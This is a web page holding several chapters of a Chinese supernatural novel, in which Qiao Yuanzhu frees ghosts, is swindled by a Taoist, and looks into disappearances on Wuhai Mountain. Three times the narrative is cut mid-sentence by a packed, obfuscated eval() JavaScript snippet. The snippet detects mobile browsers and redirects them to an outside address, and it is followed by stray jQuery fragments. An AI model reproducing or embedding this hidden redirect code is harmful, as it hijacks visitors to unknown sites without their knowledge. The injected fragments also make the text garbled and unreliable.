“熏儿姐姐是好人,她的郎君我们自然是要救的,只不过我们三人法力低微,晚上吸食他的精元,白日有了力气再去炼化天地灵气,再渡给他续命,如此反复。”紫衣女鬼道。
乔苑珠听完只觉得这确实是没有办法的办法了,这还得把握好两道灵力的缺口,以免精元被吸食过多,男子恐怕就要咽下这口气。
眼前三个女子显然是被什么东西锁在这里,没法进转生道。
可是究竟是被什么锁着的呢?
乔苑珠在屋子里转了好几圈,又让阿青再仔细找找,自己到屋子外头去看看。她正用锄头翻着男人屋子窗口下面的土呢,听见阿青在屋子里面喊,她赶紧撂下锄头跑进屋去。
“娘子你看!”阿青指着床头挪开的一角叫道。
原本被床腿压着的地上有个小坑,被土掩埋着,床脚再压上去根本没人会去怀疑。坑里面放着一枚铜钱,上面铸了“除凶祛殃”四个字,旁边还有一小节指骨一样的东西。
乔苑珠顿时明白了,道:“我家阿青真聪明!”
阿青骄傲的抬了抬下巴。
男人本就已经骨瘦如柴,床也是个破烂小床,她和阿青两个人一起,勉强能将床连同男人挪到边上,将另外三个床脚压着的位置挖开,果然里面跟先前那个坑一样,埋了铜钱和指骨。
“想必就是这几样东西,锁住了你们四人。”乔苑珠将挖出来的秽物摊在桌上。
先前她没仔细看,这三个女鬼,同着躺在床上的男子,其实都少了左手小拇指,此时三只女鬼都伸出自己的左手,面面相觑。
“这是什么?”紫衣女鬼问道。
“这是厌胜,驱邪避凶用的,乃是邪术,便是这玩意儿禁锢住了你们,也是这东西让他醒不过来的。”乔苑珠道。
“高人,您既知这是秽物,定也有法子解了它去,求您救我郎君和两位妹妹一命,我郎君与我有恩,两位妹妹为我郎君续命亦是我的大恩人,我身无长物,只要能救得他们三人,便是要我魂飞魄散我也愿意。”熏儿道。
“不成不成,哪能用你的魂飞魄散换我们的命,反正死都死了,了无牵挂的,就是能转生又有什么用?这世道咱们女子有几个有好日子过的?”黄衣女鬼连连摆手。
叫熏儿的女鬼眼看着又要落泪了,乔苑珠连忙说:“哎呀,不必如此波折,只要将这些个秽物拿酒泡了,再找个道士行个告圣的法事,你们便都能转生轮回去,此事交给我。至于你家郎君,不日便能醒过来,只不过届时他只身一人,若是心性不坚,恐怕也难以续命。”
闻言,众人一时之间都默契地噤了声。
紫衣女鬼想了想,突然起身道:“那何不让熏儿姐姐给他郎君写封信?告知他她过得很好,要他好好活着。”
“好主意!我来替你执笔。”乔苑珠道。
熏儿眼含泪珠,朝乔苑珠福了礼,道:“多谢娘子,娘子心善,定会有福报的。”说着已经哭了起来。
乔苑珠从小见不得人哭,别人哭了,她也跟着流眼泪,别人不哭了,她还在哭,常常被人笑话。
她将信写好,塞到了男子怀中,又给他盖好被子,寻来一个酒坛子,将一干秽物泡进去才关好院门准备离开。
临走时,她原本想将那四具残缺不堪的尸首掩埋了,转念一想,若是没人追究还好,若是有人找上门来,倒叫那快醒的人背了个罪责去,不如就放任这么摆着,让他自己寻着机会去报官。
4. 后会无期(修) 【男二出场
月华如水,夜风将草木香气卷起,一浪接过一浪。
此番捉了一只道行不浅的鱼妖,还碰巧得了三只女鬼的怨气,若是运气好,说不定能额外炼出三粒幽幽丹来,那便是又续了三个月的命!
捉妖续命这事儿,还得从桑桑曾发过一场疫病说起。
当年地动,引发了海啸,许多人丧了命。又恰逢战事刚停,百废待兴,将军手底下的再加上桑桑国原本的兵力一齐上阵处理尸体,也赶不上人死的速度。
就这么尸体挨着尸体,裹着潮湿的海水,发烂发臭,瘟疫悄然降临。
那疫病传染性极强,一个擦身,一个呼吸都能传染。开始只是伤风,后面发展至鼻血不止,身上开始长出一颗一颗坚硬的鳞片一样的东西,等到鳞片遍布全身,肚皮发胀,眼珠外翻,活像打捞起来的死鱼模样时,便是死期。
从发病到死亡,不足七日。
那场疫病,饶是那位传说中的大将军举大齐全国名医之力,也没有真正意义上的治好那些得了病的百姓,只是苟延残喘,多则十年,少则三五月,复又暴毙。
奇怪的是,她身上从没长过鳞片,只在发病前夕有些感风发热的症状,搞得她常常鼻红满身,尴尬至极。
那时她想着,她的命是娘亲拼死要挣的,又是小妖辛辛苦苦救的,断不能随随便便再丢了去,治病保命此等小事,她要为自己搏上一搏。公主府再回不去,那便一路往东去,再挖些草药碰碰运气,说不定就好了呢。
有一日她行至一处山林采药时,忽而听见一个虚弱的声音求救。她疑惑走近一看,见一书生模样的人气若游丝、口中吐血,手捂着肚皮斜靠在树下,身下也已是血红一片。
她费了九牛二虎之力,将书生拖至一处废弃的院子,又急急忙忙下山找来了伤药细心给他涂上,把自己讨来的馒头,挑了白白净净的分予他吃。
那时她的病也已拖了好几年,身体每况愈下,已连续几日鼻血不止,无甚力气,却还是坚持每天给那书生涂药、下山讨馒头。
不知是哪里来的底气,她竟想救活这个书生。
该说是否极泰来。一月下来,书生的伤好得七七八八,临走前为了报答她的救命之恩,教了她一个咒术,说是能治好她的病。
书生取了她一滴指尖血,混着他自己的指血,在她的眉心画了个十字法印,低声念起了咒语。期间她只觉眉心发烫难耐,连忙推开那书生的手,往后退了好几步要躲开。
“你这病乃是绝症。”
“……”
“别人七日便会暴毙,你却好命,拖了这许多年没死。”
“……”
“不过寿数也差不多快要耗尽了,我这术法,刚好可治你的病,你可还要退?”
乔苑珠被这话吓得不轻。
打量着这书生早先肚皮上还碗大个窟窿,如今说好就好了,确是个高人无疑,她当即咬咬牙,攥紧拳头上前两步,闭眼忍痛。
书生指抵她眉心:“若想靠此法印长长久久地保住你这条小命,需得吸收妖邪怨戾之气,炼化成幽幽丹服下。”
“切记!”
“……”
半晌眉心指力一松,滚烫的触感消失。等她再睁开眼,书生已消失得无影无踪,只留下一张纸条,上头写了许多驱动咒印的要诀口令,落款处有两个字。
——祝爻。
同时她的眉心多了一个若隐若现的咒印,像胎记,又像是画上去的花钿,遇水不化,平日不显形,只在遇见妖邪时盈盈发光,金尘四溢,念动口诀可放出法力驱退妖邪。
自那以后,她只要遇上哪里有妖邪作祟,便要上去掺一脚。一来捉了小妖取其怨力做成金珠,可治病,二来若是助力解了因果,苦主除了感念,还会给她一些银钱,实在一举多得。
“娘子,娘子!?”
阿青喊了几声,她猛地回过神来应了一句,发现阿青有些生气,嘟着嘴道:“娘子是不是早就知道那老妪有问题?还不跟我说!”
这是秋后算账。
乔苑珠想也没想,道:“嗯,那妇人是妖板上钉钉,那老妪我倒是没看出来,只隐约觉得她身上纠缠着一股微弱的怨气,说不上来,索性跟她走一趟。”
“我当真没想到这老妪干的是拐卖人口的行当,身上竟还有三条人命!我要知道,能让你去犯险吗?”她眨巴眨巴眼。
见阿青还在生气,又道:“好阿青,下次再有这种事,我提前告诉你,我保证!”
乔苑珠就是个没防范心的,阿青对这点心知肚明,只能她来替她家娘子作把关。
“娘子还是长些记性,要不然就把脑子放到那医馆里去让大夫瞧瞧,看是不是缺了什么,我也好照着方子给娘子补。”
“啧,小姑娘家家,说话怎得如此难听?”乔苑珠微嗔。
阿青不管她,接着道:“今日要不是那鱼妖先把老妪一家宰了,娘子还能从那老婆子手底下全身而退?娘子对付妖还行,对付人就是手无寸铁!还不得被人手拿把掐吗?”
“还有你今日让我带的符纸,我都不想说,半点作用也没起!”
“还有……”
阿青恨铁不成钢地念了一路。
“知道啦,知道啦!”乔苑珠挠了挠耳朵,阿青什么都好,干活儿利索,还会点功夫,就是嘴碎,常常念叨她。
两人还在斗嘴,这时候迎面走来了个道士。
道士举着面招魂幡,手握一把拂尘,道袍展开来足足有他两个宽,满脸的胡茬十分邋遢,走起路来摇摇晃晃,十分不正经。
大齐的道士一般分两种,一种是拜学道观,师出有名的正统道修,第二种是自学成才的野游道士。通常正统都是看不上野修的,且名门正派都讲究一个正衣冠,修边幅,眼前这个道士打扮的男人是一样不占。
还有一种,是买了道士行头装腔作势行骗的假道士,通常开口就是别人印堂发黑,恐有血光之灾。阿青打量着,起了十二分警惕,拉过乔苑珠的手,预备快步经过那邋遢道士。
谁知对方轻甩拂尘,横插一脚,拦了她二人的路,语调略尖道:
“贫道夜观天象,得太上道祖启示,今夜有妖邪在此作祟,我见二位善信印堂发黑,恐怕已被妖邪缠上,不日就要大祸临头。”
他原地打了个转儿,十分欢脱:“相遇即是缘分,不若我为二位卜上一卦,替二位讨一个破解之法,不收二位善信的银子,只要那条鱼。”
说到此处他顿了顿,手指在乔苑珠身上从上至下划过,最后停在她袖口处。乔苑珠见状,一把捂住袖口,侧过身去,皱起眉头打量。
这道士一身行头破破烂烂,拂尘和招魂幡虽有岁月痕迹,却保护的极好,看起来倒也不像是骗子。通常骗子都会买最新的衣裳,还把自己收拾的亮亮堂堂的,毕竟,看起来跟正统道修一样才比较好骗人嘛。
若是此人当真是道士,那他口中所说她二人已被妖邪缠上之事,就不得不在意了。
那边阿青见道士言行无状,十分不悦,先一步道:“哪里来的骗子,空口胡说八道?”
“阿青,不得无礼。”
乔苑珠朝道士福了礼,胡乱编排一通道:“道长见谅,非是我舍不得这鱼,实在是此鱼乃是家父所获,养在乡下,宝贝得很,今日不知怎的翻了鱼肚白咽了气,故而想带回去,给家父做个念想。”
道士听了只觉得好笑,心道什么宝贝鱼,能将方圆百里的妖兽都引来,还好一个不知怎么翻了鱼肚白,先前那条金光巨蟒眼下没了踪影,恐怕跟眼前这个巧言善辩的小娘子脱不了干系。
但他不好发作,叹了口气道:“唉,可惜可惜。”
阿青原本就不悦,听了之后更是忍耐到极点,不知他在可惜什么,正要发作呢,乔苑珠一把将她拉下,道:“若是道长不嫌弃,可与我们同行一道,我叫我这小丫头去给道长买别的鱼,只求道长若知晓天机,定要与我二人说一说。”说罢,乔苑珠装模作样,眼角噙出泪来。
道长心想,哪里来的傻子,竟还真以为他要的是鱼,道:“不,堪破天机耗的是我的命数,我掐指一算你手里的鱼正好能补我的命数,其他的鱼,我不要。”说着就要走。
乔苑珠连忙上前拦住,皮笑肉不笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071459|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,道:“好,就给道长这条鱼。”她心想鱼没了也不打紧,她还有三个女鬼呢。
“娘子!”阿青生怕她家娘子给人骗了还替人数钱,一时间急得跺脚,乔苑珠一脚踢在她脚上,递过去一个眼色。
道士没管她俩眉来眼去,豪声笑道:“既然善信信任贫道,贫道自是要好好为善信卜上一卦。”
他从怀中摸出一张皱皱巴巴的纸,又从头发上抽出一支笔,道:“将你的生辰八字写在这张纸上。”
乔苑珠依言写好,恭敬地递给他。
道士笑盈盈接过生辰八字,就地打坐,闭目念咒,右手掐指,没过多久,他就笑不出来了。
掐算命理实在算不上什么太难的事情,就是随便抓路边一个野修也能算,可是眼前这个小娘子的命盘千回百转,枝节丛生。往左算是堵墙,往右算是条河,不仅堵得死,还里三层外三层,搞得他是一会儿愁眉,一会儿叹气。
阿青看完只觉得这道士乃是骗子无疑,通常这种情况下就要开口加钱了。
果然,大约一炷香之后,道士悠悠开了口,指着她的生辰八字连连摇头:“善信,不是贫道贪心,实在是你命格颇为诡谲,通天眼,得折寿啊!”
磨叽了半天,又道:“我掐指一算,善信袖中的小鬼刚好可补上我折的寿命。”
一会儿耗命数,一会儿折寿是吧?
乔苑珠不是个好脾气的,此时暴脾气已然有些上头,只是已经赔出去一条鱼和自己的生辰八字,眼下什么天机也没窥得,实在是亏得慌。加之,那道士只说要小鬼,却没说几只,想通此处,她递回去一抹得体的笑,道:“好说。”
“娘子,你不能再给他骗了!”阿青急了。
乔苑珠将她拉开,悄声耳语:“没事,眼下我已经付出了这许多,哪里能白让他占了便宜去?他若真是骗子,待会儿你帮我记着,逮着机会揍他一顿。”
阿青了悟,认真地点了点头。
道士只当没听见没看见,又是一炷香,总算睁开了眼,但依旧满脸愁色,不知如何开口。
“道长可是有什么顾虑?”乔苑珠故作可怜。
道士面色凝重,直盯着乔苑珠的眸色,好一会儿终于开了口:“贫道测算,善信如今的命格,乃是偷来的。”
“偷来的?何谓偷来的?”乔苑珠讶道。
“所谓偷命,就是寿数已尽,命本该绝,却不知用了何手段,取了别人的寿元,续了自己的命。”道士背过身去,娓娓道来。
道士此话一出,乔苑珠立马想起那个女童小妖来。当初那小妖十分嚣张,叫嚣要夺了她的舍,不过好像道行颇浅,没夺成,反倒是叫她在浓烟之中缓过来一口气,死里逃生了。在那之后,她的确再也不曾见过那只小妖怪。
难道,她偷了那只小妖的命格?
可她什么都没做啊!
她在心中默默拜了拜,只求小妖看开些,且允诺今后定会给它多烧些纸钱,让它转生能择一条好些的轮回道。
见她满脸愁色,道士又道:“不过,善信也不必太过担心,替换命格的续命之术也要对方愿意才能成功,可见为善信续命之人乃是自愿。”
“自愿?谁会愿意丢掉自己的性命去续给别人呢?”乔苑珠十二分的不解。
“天下之事,无奇不有。”道士甩了甩拂尘。
乔苑珠不好再追问,示意阿青将鱼妖拿给道长,转身便要走,不料那道士不好糊弄,横插一脚,道:“袖中的小鬼,善信不可言而无信。”
乔苑珠笑了笑,她早将瓶中小鬼拨出两只藏在袖中,眼下只需要故作磨蹭,将瓷瓶给那道士,便能溜之大吉。
她将瓷瓶磨磨蹭蹭递出去,再次想走,不防那道士脚轻轻一扫,勾到了她的裙摆,一时间她重心不稳,脸朝下,直直地栽了下去。
道士假意去扶,实际手穿过乔苑珠的袖口摸到两只小鬼,一齐收入了瓶中。
乔苑珠一把甩开他的手,脸气得发红,只见道士哈哈大笑两声,大摇大摆离去,还不忘道了句:“善信良善,后会有期!”
乔苑珠心想,后会无期!
5. 吊诡 “今年这天气忒怪!”
“今年这天气忒怪!”
尤三儿拢了拢肩上一串的兔子,又捞起袖子抹了把脸上的汗珠,烦闷地道:“都已是秋分,怎的一日比一日热,眼下入了夜,还跟火烤似的!我家那傻婆娘,天天吵着要去吾亥山避暑。”
熊二听到此心中直翻白眼,西街谁人不知尤三儿是个宠娘子的。口中说着嫌弃,却还是硬求着他带路上山打野味儿,只因娘子说了一句“口中有些淡”。
“这晏京城谁人不知你尤三儿是个宠娘子的,要不是你死乞白赖求着我带你上山,我才不来呢。天气热,活物们不肯动,警觉性也高,要不是我动了些巧思,就凭你,今日再废两倍的功夫,也打不得这些。
记得下山之后银子需再加一两!”
尤三儿心里头美滋滋,摸了摸腰上挂着的狐狸,心里想着娘子看到该是如何关系,忍不住连连点头,道:“是是是,这不是家里面娘子凶嘛。”
说着又小声嘟囔了一句:“只可惜了,没逮住那只大虫……”
熊二听罢只觉尤三儿贪心,心里再次送上了一顿白眼,没再搭话。
两人一前一后,急着往家赶。
快要步行至一石桥头时,熊二忽觉周遭安静了许多,那安静不似夜晚的宁静,倒像是落入无尽深渊里的死寂,随之而来的还有一阵寒意,叫人凭生在这火烧似的秋夜抖了三抖。
如此情形,惯会搭话的尤三儿此时也噤了声,脚步轻悄,似有似无。
熊二觉得蹊跷,忍不住开口问:“三儿,你觉没觉着,突然变冷了?”
久等没有回音。
熊二不敢回头,可是越是心中想着别回头,越是觉得背后有一只手,在一寸一寸地向他靠近。他实在忍不住,猛地回头一看,这石桥上哪里还能见到尤三儿的踪影,连同那一串兔子、狐狸也不见了踪影。
熊二心下打鼓,又试着喊了一声:“尤三儿?”
无人回应。
熊二顿时慌了神,背心冷汗直冒,忙加快脚步往前路去。
早先,他确实听闻这一带有妖邪作祟。
近月来,吾亥山上接连失踪了好几个采药的药农,活不见人死不见尸,山上囤居的一伙流氓山匪也不见了踪影。人们都传言,这伙流氓山匪惯会利用地形穿插迂回,没被官府剿灭,倒叫这怨气深重的妖邪索了命去。
可是他没经住尤三儿那一包珠子银两的诱惑,迷了眼蒙了心,生出几份熊胆来。
他想着,妖邪惯会占山为王,离了地盘能耐减半,况且也没听说下了吾亥山还出事的,那么只要他们天黑之前下了山便安全。哪知最近天气实在是古怪,活物难抓,忙到现在才下得山来,天已然黑尽了。
思来想去,眼下尤三儿没了踪迹,性命保不保得住都成了问题,还要这些活宝有什么用,连忙“丢盔卸甲”,轻装前行。
奔至石桥上,寒气已然盛极,裹着夜风迎面扑来,熊二只觉得呼吸开始变得困难,脚下浮软,从未觉得这石桥上的路如此漫长过。
他是伏下身子,扒着桥栏一步步往前挪的,行至桥尾时他已经大汗淋漓,恰逢此时寒气意料之外的减弱了。正待他要放松警惕时,他晃眼一撇,只见石头桥下,一披发女子呆呆立在河边,脸色白如僵尸。
见熊二朝她看去,她似是有感应,竟也僵硬的歪过头来,咧嘴对着熊二戚戚然地笑!!
熊二当即吓得灵魂出窍,管不得许多,拔腿狂奔。等他跑至家中,还来不及缓上一口气,就被他老娘拉着好一顿哭嚎,道他已五日不曾归家,叫她这老妪恐白发人送黑发人,好一顿悲痛欲绝。
-
逐影斋,玉兰树下,两把藤椅,一壶凉茶。
“阿青,如今几月了?”
“娘子,十月初了。今年这天气,还真是不同寻常,往年这时候都该加秋衣了,如今却还这般燥热。”
阿青手中忙完院中的洒扫,又过来端过乔苑珠手中的活计,接着道:“娘子你的秋衣,我早就给你从衣箱腾挪出来,洗好晾晒干,还点了熏香,不过看样子,应该好长一段时间用不上。”
后面的话乔苑珠没仔细听,兀自摇起扇子,又端起茶盏抿了一口,泡的是金钱草,药香溢口。
树下好乘凉,心情正好着呢,不知怎得耳朵突然一阵尖锐嘶鸣,眼前也跟着花起来,钻心的疼痛在脑中翻卷。忽觉鼻嘴间湿润腥热,乔苑珠抬手摸了摸,是鼻血。
阿青惊叫一声,连忙摸出手帕替她擦干净,焦急道:“娘子没服幽幽丹!?”
“嗯。”乔苑珠瓮声瓮气,不急不缓,仿佛早已对这个境况习以为常,倒觉得阿青,每次都大惊小怪,吓她一跳。
阿青收了手帕,起身急急朝屋里奔去,片刻之后,手握一个透白瓷瓶出来。俯身倒出一粒莹莹发光的药丸似的小珠子喂到乔苑珠口中,又递上一盏温水让她吞服。
见她乖乖吃了药,鼻血也擦干净了,阿青才又开始念:“都怪那道士,巧言令色,摆明了就是冲着娘子手中的妖物来的!”
乔苑珠还堵着鼻,脚下一晃一晃地思索阿青刚才的话。那道士不问她从何而来,要去何处,上来就点名要她的鱼妖和小鬼,甚至在测算出她偷命的命格之后也没表现出多么的震惊……
按她的直觉,这人应该克她。
“娘子可听说了那吾亥山的骇事?”阿青神秘兮兮地道。
“只听说近月来有好几个上山采药的药农失了踪迹,没什么稀奇的,”乔苑珠看阿青的神色,突然来了兴致,一双眼睛亮晶晶,道:“小阿青可是有什么新的消息?”
阿青点点头,将身子凑近,道:“我今日晨起外出采买,看见西市那家杂货铺子的尤三儿老娘浑坐在店门口,满嘴粗话,硬是抱着一糙汉不放,恸哭哀嚎着要那汉子还她儿郎的性命。我打听过了,那汉子是城里有名的猎户,叫熊二,尤三儿几日前请他带着进了吾亥山猎活物。”
“这个档口还敢上吾亥山?”乔苑珠站起身来理了理衣服,道:“那尤三儿也折山里了?”
“这事儿怪就怪在这儿,那熊二是个老道经验的,明知近月来吾亥山怪事频发,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071460|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却还要带着毫无经验的尤三儿进山。但是听熊二说,尤三儿当天是跟着他下了山的,出事时两人行至翠石桥,看见一披发女鬼意欲跳河,回头一看尤三儿便不见了,他吓了个半死,跑回家却被告知已是五日后了。”
乔苑珠听了一时难以理出头绪,只道当真是奇怪,尤三儿竟不是在山里出事的,又遇上鬼打墙,还有一女鬼要跳河……难道真有妖邪,且这妖邪有两只,一只盘踞在山上作乱,一只似是下了山准备要进城?
思量一番,乔苑珠仿若刚才没有鼻血不止一般,气力也顺畅起来,转头对阿青笑道:“若是真有妖邪,倒是正好。阿青,咱们去翘茗楼喝茶去!”
-
晏京东市,翘茗楼。
翘茗楼乃是整个晏京城里头最大的一家茶楼。整个楼体呈天井造型,总共建有三层,雕梁画柱间显得十分豪华气派,中庭设戏台子,有时请了胡人舞女歌舞,有时是晏京城名嘴说戏。一楼供茶博士接引客人用,二楼是一般的雅座,而三楼则是贵客的去处。
要问南来北往行商之人到晏京城中第一件事是什么,那肯定是到这翘茗楼品一品天下名茶。说是品茶,实际是为后头在晏京打开商路打点各路渠道人脉。更有传言道朝廷里一些机关要臣议事有时也会选在此处。
上至朝廷机要,下至民间异闻,在这翘茗楼里,就没有打听不到的。
乔苑珠带着阿青,刚一进门便被候在门边的茶博士迎上,满面春风地引着上了二楼雅座。
“两位小娘子稍坐,待想好喝点什么,便可摇三下那边柱子上的茶铃招呼小人。”说罢,茶博士便欲退出隔间。
“烦请上一壶上好的仙崖石花,”阿青递上银子,道:“另外还请小哥儿在此歇歇,我家娘子有些话想与小哥儿打听打听。”
茶博士收了好处,招呼底下的小厮去请茶,便也不着急走了,恭恭敬敬立在茶座旁道:“小娘子想打听什么?我安子别的无甚才,只这耳朵灵,眼睛亮,凡是小人知道的,定仔仔细细、圆头圆尾地为娘子道来。”
说罢偷偷打量起乔苑珠来,头上带着透纱帷帽,帷帽下也谨慎的戴了面巾遮面,显然是不想以真面目示人,更看不出有何情绪,举手投足间有大家风范,像是哪家高门大户的年轻小姐。
旁边侍立的侍女同样也遮了面,看起来就亲切市井多了,手上虎口有厚厚的茧子,身形挺拔,应当是有些拳脚功夫在身上的,遂心里稍稍正色,不敢松懈对待。
“也不是什么大事,只是近来天热得人心里头慌,我正欲和我家小丫头上吾亥山纳凉,但又听说最近吾亥山有妖邪作祟,踌躇不知怎么办了,便来翘茗楼里,专门寻的安子你,”乔苑珠思忖着,补充道:“早听说你是这翘茗楼里消息最实的,不知小哥道这流言是真还是假?若是真的,我好歇了上山的心思。”
安子被后半句话说的心里舒坦,急忙道:“娘子谬赞,吾亥山近来确实传言妖邪横生事端,不过恐怕娘子只听说失踪了几个药农在山里,却不知常年盘踞在山里的一窝土匪也没了踪迹。”
6. 殿下如何说
“不是说那一窝山匪是被官府剿灭的吗,我见官府还贴了告示,怎么又跟妖邪扯上了?”阿青追问道。
安子没搭话,只噤声走到雅座外瞧了瞧,确认四周没人,又放下帘子进来小心翼翼地道:
“这还得从上个月廿二的早晨说起,南街街口的李氏面摊,老板是个肯吃苦的勤快人,每天天还没亮就出摊,那天早晨也是一早出了摊,没见行人过客,只隐约瞧见一衣着破烂的人匐倒在地,走近一看,那人浑身是血,肚子上好大个洞,像是被人生生挖开了,肠子都在外面呐!”
“老板哪见过这等凶煞场面,当即吓得瘫倒在地,好长时间回不过神来,等醒转来才报了官府。后来听说,这人跟先头失踪的药农是结伴上的山,上山是几个一齐上的,下山却仅他一人,回来也已是残缺不堪、重伤难治,不多久发了癔症也跟着去了。”
“这药农临终疯言,说吾亥山如今被妖邪占据,山间已是人间炼狱,野兽发了狂,横尸遍野,且死状皆是凄惨无比,有开膛破肚肠子绕颈而亡的,有烈火焚身而亡的,有被树枝洞穿而亡的……
官老爷们怕这事儿引起一城百姓的恐慌,就下令封锁消息,隔天又贴出告示,说那药农乃是山上土匪所害,衙门已经派人将那伙山匪剿灭了,叫大家放心。”
“传言若是真的,那官府为何贴这样的告示,这不是骗人吗?要是有人信了再上山上去,岂不是又会丧命?”阿青问到。
“官老爷们的心思也是你能猜的?”乔苑珠正色道,阿青立马会意噤声。
安子笑道:“娘子是明白人,有些话咱们做小人的不便说。”
乔苑珠点头,在心里盘。
吾亥山上的土匪她是听说过的。
领头的是个蛮国死囚犯,押送过程中逃了,不知用了什么手段从边境混进了大齐,纠集了一批无所事事的流氓混子杀人越货之辈,一齐上了晏京城郊外的吾亥山,盘踞在山中劫掠路人。
人们都传言这伙流氓山匪甚是穷凶极恶,惯常会利用地形穿插迂回,官府几个小小衙役想来不可能是对手,加之那个活着回来的药农伤诡异至极,很大可能真是有怨气深重的妖邪盘踞山里为祸。
官老爷们可能就是怕真的有妖邪作祟,不想把事情闹大才贴了这张告示。只是没想到这妖邪如此厉害,前前后后受害的百姓加起来十余人。如此情形下还能沉得住气不声不响,那就真是视人命如草芥了。
那名药农所述最是奇怪,按理来说一个妖邪通常只会修炼一个术法,那么在害人时那人的死法也是一致的,断不会出现这么多种死法齐齐上阵,这对妖邪来说要求未免也过分高了。
加之尤三儿又说是在翠石桥出的事,如果不是有多个妖邪群聚,那便是这回的妖邪法力高强!
想到这里乔苑珠心里叫苦连天:“这回怕是,有点难办啊。”
-
晏京城,华青县衙。
曹彰来回踱步,坐立不安,心中打鼓,手心绞得冒汗,厉声唤来小厮问道:“张师爷回来没有!?”
小厮吓破胆道:“老爷,小的刚看了,还没有。”
曹彰心凉了半截,跌坐在椅子上,脸色惨白。
心想他这小半辈子不说有多大建树、为百姓谋了多少福利,倒也勤勤恳恳、兢兢业业,偏生在即将拔擢之际,出了吾亥山这档子事。
如此诡异又曲折盘桓的事,上策当是越少人知道越好,能拖则拖,最后大事化小小事化无,待他半月后升了衙门,新管事的县令爷爱怎么断怎么断,他继续高枕无忧。
本来想着早早封锁了消息,又下了一手偷梁换柱的好棋,应当高枕无忧了,哪知早晨又接到尤三老母报案,说她儿子被熊二害死,要他做主,让熊二偿命。结果熊二咬死说是吾亥山妖邪作祟,他听完心中一骇,道熊二青天白日妖言惑众,当即赏了熊二二十个板子。
板子是打了,尤三老娘控告也无证据,熊二更是声泪俱下挨了板子也不改口,可是怀疑的种子却在衙门口的百姓心中埋下了。
当时衙门口有多少双眼睛看着、多少双耳朵听着,现下就有多少柄尖刀直戳他心窝。
无奈之下,赶紧叫了张师爷去请如今晏京城内赫赫有名的那位世子殿下。
只盼着这位世子殿下能大发善心,救他于水火。
可这左等右等,不见世子殿下也不见张师爷,心里是有苦说不出,当即口唇生了个大疮。
突然门口进来一个瘦长身影,不是张师爷又是谁。
曹彰三步并作两步迎上去,道:“世子殿下如何说?”
张师爷气不顺,弯腰哐哐干咳两声,道:“世子殿下说,老爷只需发一通悬赏令,就说若是有谁上月在翠石桥发现了可疑的人,或是自家、别家有女眷失踪的,尽数报上衙门,衙门重重有赏,剩下的交由他处理便可。”
“快来人呐,按照张师爷说的,现在立刻马上把悬赏令给我发出去!”
曹彰转念一想,惊道:“这悬赏的赏金,从我衙门里出?”
张师爷本就是一张干巴老脸,闻言愈加皱成裹脚布,劝诫道:“我的青天大老爷,都这个时候了,破财消灾罢,等过了这道坎,还有您享不成的福?”
曹彰无奈,大大的叹了口气,又拍了拍大腿,又道:“凡提供有效线索的,赏银十两!”
挥手示意张师爷先去忙去,自己又跌坐回了堂椅中,头上是“明镜高悬”的牌匾。
-
不等乔苑珠再细想,安子又问道:“两位小娘子可还有别的想打听的?”
“还有还有!”乔苑珠拉回思绪连忙道:“听说翠石桥也闹鬼了?”
这时去请茶的小厮也折返了,恭恭敬敬将茶壶置于茶桌上,又净了手,拿出一个茶杯为乔苑珠斟上。正欲起身走便听得主座上的小娘子道:“帮这位小娘子也斟一杯罢。”指的是阿青。
这边安子也没停,心道这两位小娘子应当是个爱听志怪故事的,遂添油加醋地继续说道:“这翠石桥乃是安平九年建成,现如今已有十年。原本就是个普通
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071461|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的过河桥,可后来有个书生因考场失意,十年寒窗苦读一朝化为泡影,失魂落魄跑来这翠石桥跳了河,死前还一直喊着‘有鬼!有鬼!’。有人将他的尸体捞起,您猜怎么着?”
乔苑珠和阿青一同瞪大眼睛,齐声问道:“怎么着?”
“那书生的头颅早已不见踪影,只剩下个泡发了的身子!要说这是寻常跳河也并无不可,原也是有跳河磕到河底的大石头缺胳膊少腿的,但是怪的是,捞尸人隔天死了!这书生的老娘、娘子、儿子七日内全都离奇死了!”
安子说到这儿故意一顿一顿的,原本乔苑珠把故事听了进去,心中咚咚的害怕得要死,听到这儿一下反应过来,这小哥儿把她俩当说书的听客了,很是无语,端起茶杯抿了一口,又抬手示意了阿青一下。
阿青立刻会意,道:“你只说最近发生的真事儿!”
安子见状,连忙收起了想转行说书的心思,道:“那就说大概半个月前,有个浣洗衣服的妇人,天刚蒙蒙亮就到翠石桥底下洗衣服,正洗着,突然听见一阵哗啦声,还有女子断断续续啜泣的声音。那妇人四下望去没见着人,正要蹲下呢,突然看见河对岸有个青衣女鬼!及地的头发都贴在脸上,浑身湿漉漉的爬上了岸,一瘸一拐往吾亥山的方向去了。妇人吓得失魂落魄,险些跌了水。”
